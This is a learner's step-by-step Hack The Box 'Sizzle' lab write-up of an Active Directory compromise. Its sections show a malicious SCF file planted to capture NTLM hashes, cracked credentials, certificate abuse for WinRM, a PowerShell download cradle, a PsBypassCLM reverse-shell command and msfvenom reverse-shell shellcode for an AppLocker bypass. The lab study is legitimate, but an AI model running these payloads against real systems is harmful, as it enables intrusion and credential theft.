# 60 HTB Sizzle

## Objectives

```
SMBCacls Enumeration
Malicious SCF File (Getting NetNTLMv2 Hash)
Ldap Enumeration (LdapDomainDump)
Abusing Microsoft Active Directory Certificate Services
Creating Certificate Signing Requests (CSR) [Openssl]
CLM / AppLocker Break Out (Escaping ConstrainedLanguage)
PSByPassCLM Usage (CLM / AppLocker Break out)
Msbuild (CLM / AppLocker Break Out)
Kerberoasting Attack (Rubeus)
Kerberoasting Attack (Chisel Port Forward - GetUserSPNs.py)
WINRM Connections
BloodHound Enumeration
DCSync Attack (secretsdump.py)
DCSync Attack (Mimikatz)
PassTheHash (wmiexec.py)
```

1. **I have my nmap scanning very automated. I first run a quick scan to enumerate the ports on target. Then I will run a variable that will extract the ports from the preliminary scan and I will use the variable with the updated extracted ports to run on a nmap ports specific scan. Sounds more complicated that it is.**

```
alias superfastscan='nmap -p- --min-rate 5000 -n -Pn -oN nmap/superfast.nmap -vvv'
sizzle.htb
superfastscan sizzle.htb
I then source the zsh config file so that it updates my $portz variable I exported to path
alias sourcez='source ~/.zshrc'
export portz="$(cat ~/hackthebox/nmap/superfast.nmap | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed 's/,$//g')"
I then echo out the variable to make sure it has extracted all the ports from the previous scan
▷ echo $portz
21,53,80,135,139,389,443,445,464,593,636,3268,3269,5985,5986,9389,47001,49664,49665,49666,49669,49677,49688,49689,49691,49694,49699,49708,49715
I then run the scan with my updated ports using my aliases
▷ portzscan $portz sizzle.htb <===(This is the final product and it makes running the scan way easier than putting in a bunch of flags. Below is what the command would look like without the aliases.)
nmap -A -Pn -n -vvv -oN nmap/portzscan.nmap -p 21,53,80,135,139,389,443,445,464,593,636,3268,3269,5985,5986,9389,47001,49664,49665,49666,49669,49677,49688,49689,49691,49694,49699,49708,49715 10.10.10.103
If you are confused af just disregard this. It is really easy to set up once you understand aliases and paths etc...
```

2. **So I ran my nmap scan**

```
portzscan $portz sizzle.htb
```

## Nmap StyleSheets Nmap-Bootstrap-xsl

3. **Adding a *stylesheet* to your *nmap* scan so you can output in *pretty html***

```
First, you need to have 'xsltproc' installed on your system
Next, you need to output the nnmap command in xml format. You can do that with the -oX flag for xml only or -oA for output in all the formats.
Last you need to have the stylesheet flag added to your nmap command when you run it. That stylesheet command can be found at the github link below.
https://github.com/honze-net/nmap-bootstrap-xsl
The command will look like the one below
nmap -A -Pn -n -vvv -oX bootstrapscan.xml -p 21,53,80,135,139,389,443,445,464,593,636,3268,3269,5985,5986,9389,47001,49664,49665,49666,49669,49677,49688,49689,49691,49694,49699,49708,49715 10.10.10.103 --stylesheet=https://raw.githubusercontent.com/honze-net/nmap-bootstrap-xsl/master/nmap-bootstrap.xsl
It is a very long command. I would probrably break this command up into an alias and variables.
I found a another version that lets you alter the output after you run the scan. You just need the xls version of your nmap scan. Here is the link below:
https://github.com/Haxxnet/nmap-bootstrap-xsl
```

## Nmap parse-output

- *#pwn_nmap_parse_output*

4. ***nmap-parse-output github***

```
1. ▷ sudo pacman -S nmap-parse-output
2. ~/hackthebox/nmap ▷ nmap-parse-output bootstrapscan.xml http-ports
http://10.10.10.103:80
https://10.10.10.103:443
http://10.10.10.103:5985
https://10.10.10.103:5986
http://10.10.10.103:47001
http://10.10.10.103:80
https://10.10.10.103:443
http://10.10.10.103:5985
https://10.10.10.103:5986
http://10.10.10.103:47001
3. You can also use with regular .nmap output as well. The output scan does not have to be in xml format
4. There are many ways to use this pkg to parse the nmap data
5. ~/hackthebox/nmap ▷ nmap-parse-output bootstrapscan.xml http-info
6. ~/hackthebox/nmap ▷ nmap-parse-output bootstrapscan.xml http-title
```

5. **nmap-parse-output advanced editing**

```
1. ▷ nmap-parse-output bootstrapscan.xml comment-ports '10.10.10.103:5985' 'WINRM' | nmap-parse-output - comment-ports '10.10.10.103:5986' 'WINRM - SSL' | nmap-parse-output - mark-ports '80,443' red | nmap-parse-output - html > output.html
2. ▷ firefox output.html
```

## Whatweb

6. **he runs whatweb**

> 1. `▷ whatweb http://10.10.10.103`
> 2. **You can also use `Whatweb` with `HTTPS`. The output was exactly the same though.**
> 3. `▷ whatweb https://10.10.10.103`
> 4. `https://10.10.10.103 [200 OK] Country[RESERVED][ZZ], HTTPServer[Microsoft-IIS/10.0], IP[10.10.10.103], Microsoft-IIS[10.0], X-Powered-By[ASP.NET]`

## OpenSSL inspect website SSL certificate via terminal

7. ***OpenSSL* connect command. *This is a good way to find the `common name` and the `FQDN` of a website.***

- *#pwn_openssl_connect_inspect_website_ssl_certificate*

```
▷ openssl s_client -connect 10.10.10.103:443
Certificate chain
0 s:CN = sizzle.htb.local
```

8. **We run *CrackMapExec* basic recon scan**

- *#pwn_crackmapexec_basic_recon_scan*

```
(.venv)~/.cmegit/CrackMapExec(master ✔)▷ crackmapexec smb 10.10.10.103
..............................................
SMB 10.10.10.103 445 SIZZLE [*] Windows 10.0 Build 14393 x64 (name:SIZZLE) (domain:HTB.LOCAL) (signing:True) (SMBv1:False)
```

9. **He runs smbclient**

```
~/hackthebox/sizzle ▷ smbclient -L 10.10.10.103 -N

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        CertEnroll      Disk      Active Directory Certificate Services share
        Department Shares Disk
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share
        Operations      Disk
        SYSVOL          Disk      Logon server share
SMB1 disabled -- no workgroup available
```

10. **He likes *smbmap* better *because it prints the permissions*, but I am pretty sure it isn't allowed on the *OSCP***

```
1. You have to run smbmap as a nullsession with a random user if not it will not give any output
2. ▷ smbmap -H 10.10.10.103 --no-banner
3. [!] Something weird happened: SMB SessionError: STATUS_ACCESS_DENIED({Access Denied}
4. ▷ smbmap -H 10.10.10.103 -u 'nullsession' --no-banner
.........................................................
```

```
Disk                            IP: 10.10.10.103:445 Name:
----                            Permissions Comment
                                        ----------- -------
                                        NO ACCESS Remote
                                        NO ACCESS Default
                                        NO ACCESS Active
Department Shares   READ ONLY
IPC$                READ ONLY Remote IPC
                                        NO ACCESS Logon
                                        NO ACCESS
                                        NO ACCESS Logon
```

11. **connect to Department Shares via smbclient**

```
1. ▷ smblcient "//10.10.10.103/Department Shares" -N
2. Try "help" to get a list of possible commands.
smb:\>
3. smb:\> dir
...............................................
  .                    D        0  Tue Jul  3 10:22:32 2018
  ..                   D        0  Tue Jul  3 10:22:32 2018
  Accounting           D        0  Mon Jul  2 14:21:43 2018
  Audit                D        0  Mon Jul  2 14:14:28 2018
  Banking              D        0  Tue Jul  3 10:22:39 2018
  CEO_protected        D        0  Mon Jul  2 14:15:01 2018
  Devops               D        0  Mon Jul  2 14:19:33 2018
  Finance              D        0  Mon Jul  2 14:11:57 2018
  HR                   D        0  Mon Jul  2 14:16:11 2018
  Infosec              D        0  Mon Jul  2 14:14:24 2018
  Infrastructure       D        0  Mon Jul  2 14:13:59 2018
  IT                   D        0  Mon Jul  2 14:12:04 2018
  Legal                D        0  Mon Jul  2 14:12:09 2018
  M&A                  D        0  Mon Jul  2 14:15:25 2018
  Marketing            D        0  Mon Jul  2 14:14:43 2018
  R&D                  D        0  Mon Jul  2 14:11:47 2018
  Sales                D        0  Mon Jul  2 14:14:37 2018
  Security             D        0  Mon Jul  2 14:21:47 2018
  Tax                  D        0  Mon Jul  2 14:16:54 2018
  Users                D        0  Tue Jul 10 16:39:32 2018
  ZZ_ARCHIVE           D        0  Mon Jul  2 14:32:58 2018

                7779839 blocks of size 4096. 3591767 blocks available
```

12. **Lets enumerate these directories**

```
1. smb: \> cd Users
2. smb: \Users\> dir
3. They done fuked up we have a list of names
amanda
amanda_adm
bill
bob
chris
henry
joe
jose
lkys37en
morgan
mrb3n
Public
4. The command to parse the file is the following just for reference
5. cat tmp | awk -F" " '{print $1}'
```

## Mounting a remote share. I hate doing this it is a pain, but it is critical to learn

- *#pwn_mounting_a_share_using_cifs*
- *#pwn_mounting_a_share_knowledge_base*

13. *Create a folder named* `/mnt/mounted_share` *and use the mount command to mount the local directory to a remote share*

```
~ ▷ unlock_root.sh
~ ▷ sudo su -
[root@h3lix]-[~]
>>> mkdir /mnt/mounted_share
[root@h3lix]-[~]
>>> ls /mnt/mounted_share
[root@h3lix]-[~]
```

```
>>> mount -t cifs "//10.10.10.103/Department Shares" /mnt/mounted_share
Password for root@//10.10.10.103/Department Shares:<Just hit enter>
[root@h3lix]-[~]
>>> cd /mnt/mounted_share
[root@h3lix]-[/mnt/mounted_share]ls
 Accounting   Audit   Banking   CEO_protected   Devops   Finance   HR   Infosec   Infrastructure   IT   Legal
'M&A'   Marketing  'R&D'   Sales   Security   Tax   Users   ZZ_ARCHIVE
>>> [root@h3lix]-[/mnt/mounted_share]
>>> To .unmount the share just type the following
>>> [root@h3lix]-[/mnt]
>>> umount /mnt/mounted_share
>>> If that fails to unmount then try
>>> [root@h3lix]-[/mnt]
>>> umount -f /mnt/mounted_share
>>> And if that fails as well then try
>>> [root@h3lix]-[/mnt] umount -a -t cifs
>>> [root@h3lix]-[/mnt] rm -rf mounted_share
```

## Tree -fas

14. ***That is how you mount a remote share to a local directory*. Now we are going to enumerate all these folders. We can start with the *tree command*.**

- *#pwn_tree_fas_shows_entire_path*

```
1. [root@h3lix]-[/mnt/mounted_share]
>>> tree -fas
2. Great command. This will show the entire path to the directories in the tree
```

- *#pwn_ASREP_ROAST_FAIL_port_88_is_not_open*

15. **OK, now that we have a users list we can try an *ASREP ROAST attack* using `GetNPusers.py`.**

```
1. Help menu, to bring up the help menu just do dot slash and the impacket module
2. (.venv)~/python_projects/.impacketgit/impacket/examples (master ✘)✭ ▷ ./GetNPUsers.py
3. Too much output, so I grep for TGTs
4. ▷ ./GetNPUsers.py | grep -A4 -B2 "TGT" | grep -i -A3 "usersfile"
5. I see what I am looking for immediately
6. Request TGTs for all users
GetNPUsers.py -no-pass -usersfile users.txt contoso.com/
For this operation you dont need credential
7. ▷ ./GetNPUsers.py -no-pass -usersfile ~/hackthebox/sizzle/users htb.local/
```

> **FAILS to run, but why? The reason an `ASREP Roast` using `GetNPusers.py` will fail to run is because `port 88` is not open.**

## *FOR LOOP* for `smbcacls` iteration to find full permissions on a remote share

- *#pwn_smbcacls_using_FOR_LOOP*
- *#pwn_FOR_LOOP_for_smbcacls*

16. ***FOR LOOP* for `smbcacls`**

```
[root@h3lix]-[/mnt/mounted_share/users]
>>> tput civis; for directory in $(ls); do echo -e "\n[+] Enumerating permissions in directory $directory:\n";
echo -e "\t$(smbcacls "//10.10.10.103/Department Shares" Users/$directory -N | grep "Everyone")"; done; tput
cnorm
```

## *UPDATE*: I got the *FOR LOOP* to work. I was in the wrong folder. I had to be in the users folder. The command above is the working command

17. **You can also just grep for the full command in each folder and do this manually if you are having trouble getting the damn FOR LOOP to work. `smbcacls` *is a separate application and it works as long as you have READ access to a remote SMB share***

```
~ ▷ smbcacls "//10.10.10.103/Department Shares" Users/Public -N | grep -i "FULL"
ACL:Everyone:ALLOWED/OI|CI/FULL
ACL:S-1-5-21-2379389067-1826974543-3574127760-1000:ALLOWED/OI|CI|I/FULL
ACL:BUILTIN\Administrators:ALLOWED/OI|CI|I/FULL
ACL:NT AUTHORITY\SYSTEM:ALLOWED/OI|CI|I/FULL
```

18. **Remove empty lines and smash strings together. This makes it look way better and this is good for note taking**

- *#pwn_sed_remove_empty_lines_looks_nicer*
- *#pwn_sed_format_for_note_taking*

```
▷ cat forloop_smbcacls.txt | sed '/^[[:space:]]*$/d' > tmp
```

## Crafting a payload

19. **I verified that we indeed have full permissions to `WRITE` to the *Public* folder**

```
[root@h3lix]-[/mnt/mounted_share/users/Public]
>>> touch foo
[root@h3lix]-[/mnt/mounted_share/users/Public]
>>> ls
foo
```

20. **Set up an *smbserver* and search google for an *scf exploit***

```
1. sudo smbserver.py ninjafolder $(pwd) -smb2support
2. He googles the following
3. malicious scf file
4. He finds this link
https://penteslab.blog/2017/12/13/smb-share-scf-file-attacks
5. Copy the scf exploit and paste it into a file whatever.scf
.........................................................
[Shell]
Command=2
IconFile=\\X.X.X.X\share\pentestlab.ico
[Taskbar]
Command=ToggleDesktop
6. Of course we need to do some basic edits to this to make it work for us
[Shell]
Command=2
IconFile=\\10.10.10.103\ninjafolder\wutang.ico
[Taskbar]
Command=ToggleDesktop
7. Save it, you can name the icon file anything we are just trying to catch the hash not upload or download any
file.
```

21. **I was completely confused on this because I have never gained a shell using a remote share mount before. I think I saw it once. Anyway I was completely clueless as to what I was doing but now I got it. LOL**

```
1. Recap, go to the website above penteslab.blog and copy and paste the scf exploit into the /public directory
that we have full access to.
2. But before that make sure you have an smbserver running
3. ▷ sudo smbserver.py ninjafolder $(pwd) -smb2support
4. Last copy the hash and crack it with John The Ripper
5. ▷ john --wordlist=/home/pepe/hackthebox/blackfield/rockyou.txt amadahash
```

22. **I noticed that this time I didn't have to use *sudo* to crack the hash. I had some weird issues with John The Ripper, but it has been working fine ever since.**

```
▷ john --wordlist=/home/pepe/hackthebox/blackfield/rockyou.txt amadahash
▷ john amadahash --show
amanda:Ashare1972:HTB:aaaaaaaaaaaaaaaa:<SNIP>
1 password hash cracked, 0 left
```

23. **I run *CrackMapExec* on the *amanda* credentials and they are *valid***

```
1. (.venv) ~/.cmegit/CrackMapExec (master ✔) ▷ crackmapexec smb 10.10.10.103 -u 'amanda' -p 'Ashare1972'
........................................................
SMB 10.10.10.103 445 SIZZLE [*] Windows 10.0 Build 14393 x64 (name:SIZZLE) (domain:HTB.LOCAL) (signing:True)
(SMBv1:False)
SMB 10.10.10.103 445 SIZZLE [+] HTB.LOCAL\amanda:Ashare1972
```

24. **He tries `GetNPUsers.py` on the *amanda* credentials.**

```
1. I ran it and I did not get anything back for amanda, but mrlky is a member of remote management users group.
2. (.venv) ~/python_projects/.impacketgit/impacket/examples (master ✘)✭ ▷ ./GetUserSPNs.py
htb.local/amanda:Ashare1972
Impacket v0.12.0.dev1+20230914.14950.ddfd9d4c - Copyright 2023 Fortra
ServicePrincipalName  Name   MemberOf                              http/sizzle           mrlky   CN=Remote
Management Users
3. What does this mean? It means that 'mrlky' is kerberoastable, but we done have port 88 open so there is no
kerberos authentication on this Domain. It is probrably NTLMv2. So for now this is useless.
4.
```

## RpcClient with creds

25. **Since we now have the amanda credentials we can try *rpcclient* again. We got denied earlier with *RpcClient* attempting a null session authentication. Hopefully we can get in with the amanda `creds` now.**

```
1. ᐅ rpcclient -U "amanda%Ashare1972" 10.10.10.103
2. rpcclient$> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[amanda] rid:[0x450]
user:[mrlky] rid:[0x643]
user:[sizzler] rid:[0x644]
3. rpcclient$> enumdomgroups
group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]
group:[Domain Admins] rid:[0x200]
4. rpcclient $> querygroupmem 0x200
        rid:[0x1f4] attr:[0x7]
        rid:[0x644] attr:[0x7]
5. rpcclient$> queryuser 0x1f4
UserName:       Administrator
user_rid:       0x1f4
group_rid:      0x201
6. rpcclient$> queryuser 0x644
UserName:       sizzler
group_rid:      0x201
7.
```

## *RPCENUM* very cool he has upgraded it

- *#pwn_rpcenum_enumerate_RpcClient_with_nice_tables*

26. **S4vitar wants to show off his cool `RpcClient` script he created that formats the output from `RpcClient` into nice tables.**

> 1. **It's a bash script that's cool.**
> 2. `$ git clone https://github.com/s4vitar/rpcenum.git`
> 3. **USAGE:**
> 4. `~/bazhScR1pT1nG/rpcenum(master ✘)✖✭ ᐅ sudo ./rpcenum.sh -e All -i 10.10.10.103`

## LDAPDomainDump

27. **LDAPDomainDump is awesome if you have creds. It enumerates an Active Directory very nicely. You just need to create a directory and cd into it before using it because it will dump a bunch of files. Not hashes just domain enumeration.**

```
1. ~/hackthebox/sizzle ᐅ ldapdomaindump -u htb.local\\amanda -p 'Ashare1972' 10.10.10.103 -o ldapdomaindump.out
2. ~/hackthebox/sizzle/ldapdomaindump.out ᐅ firefox domain_users_by_group.html
3. ~/hackthebox/sizzle/ldapdomaindump.out ᐅ sudo python3 -m http.server 80
4. Now just open up firefox and type the following in the browser.
5. http://localhost:80 and all the files will show up for easy navigating. It is the same thing as using Apache2
service only more secure.
```

## Evil-WinRM

28. **We attempt an evil-winrm session using normal winrm on 5985, but this doesn't work.**

```
1. HTTP Transport Error. That tells me it is most likely rejecting HTTP. We have verified amanda belongs to
Remote Management Users Group using LdapDomainDump. So what is happening? What is happening is it is only being
accepted through port 5986 WinRM secure.
2. We need the following flags to evil-winrm into the Sizzle box using winrm ssl.
..............................................................
-S, --ssl                       Enable ssl
-c, --pub-key PUBLIC_KEY_PATH   Local path to public key certificate
-k, --priv-key PRIVATE_KEY_PATH Local path to private key certificate
3.
```

## Find `\-name`

- *#pwn_find_backslash_dash_name*

29. **Find command used in a way I have never seen before**

```
1. ~ ᐅ cd /usr/share/seclists/
2. /usr/share/seclists ᐅ find \-name \*IIS\*
.......................................................
./Discovery/Web-Content/IIS.fuzz.txt
3. Another cool find command to find writable diretories 'ON LINUX ONLY'.
```

```
4. find . -type d | while read directory; do touch ${directory}/0xdf 2>/dev/null && echo "${directory} - write
file" && rm ${directory}/0xdf; mkdir ${directory}/0xdf 2>/dev/null && echo "${directory} - write directory" &&
rmdir ${directory}/0xdf; done
```

- *#pwn_cd_into_target_files_location*
- *#pwn_cd_dirname*

## cd dirname

30. **CD into target file. What doe I mean? Let's say you use locate, Find, GREP, or whatever method to find a file on your system. You can type this command and the terminal will take you to the directory where the file is at.**

```
/usr/share/seclists ▷ cd $(dirname ./Discovery/Web-Content/IIS.fuzz.txt)
```

> **Using Find, Locate, GREP, i.e. all terminal commands effectively is a very important skill to learn as a hacker.**

## WFUZZ

31. **He uses wfuzz with this special wordlist IIS.fuzz.txt from seclists.**

```
1. wfuzz -c --hc=404 -t 100 -w /usr/share/seclists/Discovery/Web-Content/IIS.fuzz.txt http://10.10.10.103/FUZZ
2. SUCCESS, we find a login prompt and other pages
3. Lets try to log in using amanda credentials from earlier
4. http://10.10.10.103/certsrv
5. You can also use this Web site to download a certificate authority (CA) certificate, certificate chain, or
certificate revocation list (CRL), or to view the status of a pending request.
6. How conventient for us that we need a certificate to be able to log in using evil-winrm with amanda. Of course
in the real world it would never be this easy to obtain a certificate.
```

32. **Enumerating the Certificate request website**

```
1. We have logged in and now we need to get a certificate from this website
2. http://10.10.10.103/certsrv
3. Click >>> Request a certificate >>> advanced certificate request >>> that will take you to this page
http://10.10.10.103/certsrv/certrqxt.asp
```

## Create a certificate using OpenSSL

33. **Certificate creation with OpenSSL**

```
1. openssl req -newkey rsa:2048 -nodes -keyout amanda.key -out amanda.csr
2. He left the 'common name' blank this is the only question you should answer. I am not sure if his certificate
will work now.
3. Successfully created now what do we do with amanda.key and amanda.csr?
.....................................................
4. ▷ cat amanda.csr
-----BEGIN CERTIFICATE REQUEST-----
MIICijCCAXICAQAwRTELMAkGA1UEBhMCQVUxEzARBgNVBAgMClNvbWUtU3RhdGUx
ITAfBgNVBAoMGEludGVybmV0IFdpZGdpdHMgUHR5IEx0ZDCCASIwDQYJKoZIhvcN
AQEBBQADggEPADCCAQoCggEBANaP3PReMpbLjtAcVPFxaM0/mVrsg5chj02+ppZw
r51PiYXM4TkbpP8ndQ6h0D2hjwhSu5aT6r5dJgOWoHEmQtjkk5Yx/bNv013jtxez
LuXOC1VnX61pk0fpBKrv9aefigBSxUORonIeSo9BIF7dx8GtLHwQWIobU85YKT3G
meIyCuEt9+i4Vk0WkGXytWrhnYez+aB7ZXwB22THL+U9iE147UiJb5MmLTshAnVL
NMorcAGuNCegnt2u4mzX2DbgoUhGAvXzaVRzDcCJ6bt1A4ezc96hLGGtBp8cBlW+
HjUkLVCFRTf1KG1F88fJqjNocGnnv/dgjNfBbkL+YIEE6MECAwEAAaAAMA0GCSqG
SIb3DQEBCwUAA4IBAQAGLWq6cVaDNd1oOe2Ooq4Rz6No7tiwWw1LdTIrRXFToKk9
zyBwkbXtH9zY0hSRtytLNvfcQ7XCJHAitLv0420YAzF2d3Oyafd1U8eFNEk50wwt
lfjutNH/JBwmgFc5wyO06BjlwwYORiPV4eiMxdouYsMJnZdS2z/Kx5ZPsVC8SBLo
KwJlKZjd9H11okNMJ89O3Jl0PS5pfT+neKKhNL4AHy/Qrt+aB3x03ShT0bjuJpzY
DnD5kWxj0P0V+NI00OWX8hdj71fsNWMkRg7SLGEYaFoSCAfmrnSD6/9DpMkwQvFn
H0zHBWjaGcEE3zR3QSBo/H61tsYhnBCmkWOy8HAS
-----END CERTIFICATE REQUEST-----
```

34. **Now take the amanda.csr and cat it out. You are going to copy that and paste into into the site you went to earlier. When you logged in with the amanda credentials.**

```
1. Where it says "Saved Request:" that is where we will paste the certifcate
```

35. **Now you will be given the option to download the certificate**

```
1.  Certificate Issued

The certificate you requested was issued to you.

                        DER encoded   or   Base 64 encoded
```

```
                         Download certificate
Download certificate chain
2. Click 'download certificate' to your working directory
3. Now you should have a file called 'certnew.cer'
```

36. **We are going to use the `certnew.cer` along with *amanda's private key* `amanda.key` to connect to the *5986 WinRM SSL port* because that is the only way this server will accept *WinRM* connections. *That is usually the case in the real world. You will always need to connect with* `Evil-WinRM` *session or any type of WinRM session* using *SSL*.**

## Initial Foot-hold

## Gaining Shell using SSL with Evil-Winrm

37. **Now connect using *SSL* with** `Evil-WinRM`

```
1. evil-winrm -S -c certnew.cer -k amanda.key -i 10.10.10.103 -u 'amanda' -p 'Ashare1972'
2. FAIL, I got a weird error saying that Evil-Winrm could not find the path of the key or cer file, but I just
had to point to the files absolute path and it worked.
3. ▷ evil-winrm -S -c /home/pepe/hackthebox/sizzle/certnew.cer -k /home/pepe/hackthebox/sizzle/amanda.key -i
10.10.10.103 -u 'amanda' -p 'Ashare1972'
4. SUCCESS
5. *Evil-WinRM* PS C:\Users\amanda\Documents> whoami
htb\amanda
6. I guess we did not need the 'common name' after all I thought it would cause an error.
```

38. **Lets enumerate the box**

```
1. *Evil-WinRM* PS C:\Users\amanda\Documents> netstat -nat | findstr 88
...........................................................
  TCP    0.0.0.0:88  0.0.0.0:0           LISTENING   InHost
  UDP    10.10.10.103:88        *:*
  UDP    [dead:beef::23b]:88    *:*
  UDP    [dead:beef::c458:8683:24fd:5f44]:88  *:*
  UDP    [fe80::c458:8683:24fd:5f44%4]:88
2.We can see that Kerberos is on this box it just does not show up in the nmap scan
```

### Bloodhound-Python

- *#pwn_bloodhound_python_usage_HTB_Sizzle*

39. **There is a-lot happening on this box and a-lot of ports open. Lets use Bloodhound-Python since we have credentials.**

```
1. Make a directory and cd into it so you can store all the output from this Bloodhound-Python query
2. ▷ mkdir bloodhound_ingestors
3. ▷ cd bloodhound_ingestors
4. ▷ bloodhound-python -c ALL -u 'amanda' -p 'Ashare1972' -d htb.local -dc sizzle.htb.local -ns 10.10.10.103
5. NOTICE , S4vitar, does not include the -d or -dc in the command and it initially failed. Then he added just
the -d but I added both.
6. bloodhound-python -c All -u 'amanda' -p 'Ashare1972' -ns 10.10.10.103 -d htb.local
7. I did not think it would hurt to add these paramenters lets see what happens when we run bloodhound. It says
it failed in getting a Kerberos ticket. I am not sure what the ingestors were able to capture. Lets find out.
Here is the output for context:
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication.
INFO: Connecting to LDAP server: sizzle.htb.local
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: sizzle.htb.local
INFO: Found 8 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: sizzle.HTB.LOCAL
INFO: Done in 00M 31S
```

> 1. **Just as I thought. I got 1 more user and 1 more group by using the -dc flag than S4vitar's command without the -dc flag.**
> 2. ***Run Bloodhound*. I cover how to install bloodhound for Debian and Arch in my other notes.**

- *#pwn_bloodhound_usage_definitive_guide*

```
1. Sometimes I get annoyed when running bloodhound because it is a pain to set up, but once you get it going it
is an invaluable tool.
2. ▷ sudo neo4j console
```

```
3. Paste the url in the browser http://localhost:7474
4. Next, log into neo4j. Default user and pass is neo4j:neo4j. Once you have logged in change your password, or if you already have your pw set up just log in with that.
5. ▷ bloodhound &>/dev/null &
6. ▷ disown
7. You do not need sudo for bloodhound only for Neo4j. The command above for bloodhound allows you to disown. Which simply means detach the process from the terminal so you can free up your terminal.
8. Once you are on bloodhound. Clear and Refresh the database. Then import the json injestors and refresh the database again. There is an arrow inside a circle to the right of bloodhound that lets you import the ingestors. Or you can just drag and drop them into bloodhound. Do not forget to refresh the database again after you have imported the ingestors.
```

41. **Enumerating with Bloodhound**

```
1. Click 'Find all Domain Admins'
2. Click 'Find Shortest Paths to Domain Admins' (This is under the Shortest Paths Category)
3. Click 'List all Kerberoastable Accounts'
4. Click 'Find Principals with DCSync Rights'
5. It takes a while of using Bloodhound over and over through walk-throughs to actually get a handle on being profecient with it
```

## I'm lost here

42. **He decides to use sharphound, and Secretsdump.py. Actually I am not sure in which direction we are going because we have a shell now. I forgot how we even got this shell this box is so long.**

```
1. He is done enumerating the box not sure what he is doing.
2. mkdir Recon
3. Download SharpHound.ps1 and offer it up on a Python Simple server port 80
4. sudo python3 -m http.server 80
5. He is going to execute the SharpHound.ps1 from memory that is why he is using the python server. I was wondering why because we already have the evil-winrm shell. We could have just uploaded and executed it, but I think he already knows that we will not be able execute it as we lack the permissions to execute anything. So we can just do it in memory with IEX.
```

## Run `SharpHound.ps1` in memory using *PWSH IEX*

43. **Now that I know what he is doing. He is going to execute the `IEX downloadstring` command so we can run `SharpHound.ps1` in memory because I think we lack the permissions with amanda to run any ps1 scripts.**

```
1. *Evil-WinRM* PS C:\Windows\Temp\recon> IEX(New-Object Net.WebClient).downloadString('http://10.10.14.5/SharpHound.ps1')
2. FAIL, makes sense this box is rated "insane" level. Seems they have this server pretty locked down. Here is the error it spits out.
3.  Cannot create type. Only core types are supported in this language mode. FullyQualifiedErrorId : CannotCreateTypeConstrainedLanguage,Microsoft.PowerShell.Commands.NewObjectCommand
4. CLM this is known as 'Constrained Language Mode'. In other words this is not a full Power-Shell language mode. Hence, only core types are supported. We can bypass this. It is a pain though. To see what language mode you are in run the following command.
5. *Evil-WinRM* PS C:\Windows\Temp\recon> $ExecutionContext.SessionState.LanguageMode
.....................................................
ConstrainedLanguage
```

## Bypassing *CLM* (Constrained Language Mode)

44. **Bypassing `CLM` aka `Constrained Language Mode` in Windows *Power-Shell*.**

```
1. Google the following 'PsBypassCLM github'
2. https://github.com/padovah4ck/PSByPassCLM
3. Git clone it
4. cd into the directory /Debug
5. cd /PSByPassCLM/PSBypassCLM/PSBypassCLM/bin/x64/Debug
6. We need to transfer this file up to our target Windows box
7. PsBypassCLM.exe
8. *Evil-WinRM* PS C:\Windows\Temp\recon> iwr -uri http://10.10.14.5/PsBypassCLM.exe -OutFile PsBypassCLM.exe
9. Invoke Web Request is a great command to memorize
```

## Execute `PsBypassCLM.exe`

- *#pwn_psbypassclm_exe_usage*
- *#pwn_powershell_bypass_CLM_usage*

45. **This tool has several cool capabilities, but all we are interested in this the reverse shell part.**

```
1. Copy the command: "This one tries to open a PS reverse shell (I've bound it into the source as a life saver :-) ..)"
```

```
2. C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true
/rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe
3. Edit it for your box. You will have to remove the last part of the line and just point to the file uploaded in
the target Temp directory. Do not forget to setup your listener on 443
4. SUCCESS, See below for the full output.
```

46. **We executed and now have a Power-Shell with *Full Language Mode* capability *bypassing* the *Constrained Language Mode restriction*.**

## This command to give you a reverse shell with Full Language is very good 31337

```
*Evil-WinRM* PS C:\Windows\Temp\recon> C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile=
/LogToConsole=true /revshell=true /rhost=10.10.14.5 /rport=9001 /U C:\Windows\Temp\recon\PsBypassCLM.exe
.........................................................
Microsoft (R) .NET Framework Installation utility Version 4.6.1586.0
Copyright (C) Microsoft Corporation.  All rights reserved.
The uninstall is beginning.
See the contents of the log file for the C:\Windows\Temp\recon\PsBypassCLM.exe assemblys progress.
The file is located at .
Uninstalling assembly 'C:\Windows\Temp\recon\PsBypassCLM.exe'.
Affected parameters are:
   assemblypath = C:\Windows\Temp\recon\PsBypassCLM.exe
   rport = 443
   revshell = true
   rhost = 10.10.14.5
   logtoconsole = true
   logfile =
.Trying to connect back...
```

## Optional : This is just another way to show how to bypass the Constrained Language Mode Restriction

> **Another way to bypass the CLM is with Applockerbypass**
>
> 1. **Google** `Applockerbypass msbuild`
> 2. `https://pentestlab.blog/2017/05/29/applocker-bypass-msbuild/`
> 3. **Click on the** `XML` **link. It will take you to this GitHub page.**
> 4. `https://github.com/3gstudent/msbuild-inline-task/blob/master/executes%20shellcode.xml`
> 5. `▷ wget https://github.com/3gstudent/msbuild-inline-task/blob/master/executes%20shellcode.xml`
> 6. **Run** `MSFVENOM` **shellcode command to generate the shell code that your are going to put into the** `executesshellcode.xml` **payload.**
> 7. `$ msfvenom --platform windows -a x86 -p windows/shell_reverse_tcp LHOST=X.X.X.X LPORT=443 -f csharp -e x86/shikata_ga_mai -t 20 -v shellcode` ⬇️⬇️⬇️ 👽 👽 👽
> 8. **Here is a better version of the** `shitaka_ga_mai` **that I got from this site:** `https://0xrick.github.io/hack-the-box/sizzle/`
> 9. `msfvenom -a x86 -platform windows -p windows/meterpreter/reverse_tcp LHOST=10.10.xx.xx LPORT=1339 -e x86/shikata_ga_nai -i 100 -f csharp`
